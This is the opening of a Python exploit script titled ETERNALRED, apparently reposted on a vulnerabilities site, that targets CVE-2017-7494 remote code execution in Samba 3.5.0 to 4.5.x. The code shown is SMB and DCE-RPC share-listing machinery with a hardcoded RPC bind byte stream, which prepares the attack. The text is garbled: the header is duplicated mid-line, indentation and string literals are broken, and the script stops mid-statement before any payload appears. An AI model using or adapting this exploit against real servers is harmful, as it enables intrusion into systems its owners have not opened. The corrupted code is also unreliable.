#! /usr/bin/env python
# Title : ETERNALRED
# Date: 05/24/2017
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5 #! /usr/bin/env python
# Title : ETERNALRED
# Date: 05/24/2017
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494
import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *
class SharedDevice2(SharedDevice):
def __init__(self, type, name, comments, path, password):
super().__init__(type, name, comments)
self.path = path
self.password = password
class SMBConnectionEx(SMBConnection):
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
def hook_listShares(self):
self._listShares = self.listSharesEx
def hook_retrieveFile(self):
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
# This is maily the original listShares but request a higher level of info
def listSharesEx(self, callback, errback, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')
expiry_time = time.time() + timeout
path = 'IPC$'
messages_history = [ ]
def connectSrvSvc(tid):
m = SMB2Message(SMB2CreateRequest('srvsvc',
file_attributes = 0,
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
oplock = SMB2_OPLOCK_LEVEL_NONE,
impersonation = SEC_IMPERSONATE,
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
create_disp = FILE_OPEN))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
messages_history.append(m)
def connectSrvSvcCB(create_message, **kwargs):
messages_history.append(create_message)
if create_message.status == 0:
call_id = self._getNextRPCCallID()
# The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes =
binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) +
struct.pack('<I', call_id) +
binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b' ', b'').replace(b'
', b''))
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
m.tid = create_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
messages_history.append(m)
else:
errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))
def rpcBindCB(trans_message, **kwargs):
messages_history.append(trans_message)
if trans_message.status == 0:
m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
m.tid = trans_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')
def rpcReadCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
call_id = self._getNextRPCCallID()
padding = b''
remote_name = '\\' + self.remote_name
server_len = len(remote_name) + 1
server_bytes_len = server_len * 2
if server_len % 2 != 0:
padding = b'
Samba 3.5.0 Remote Code Execution
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 674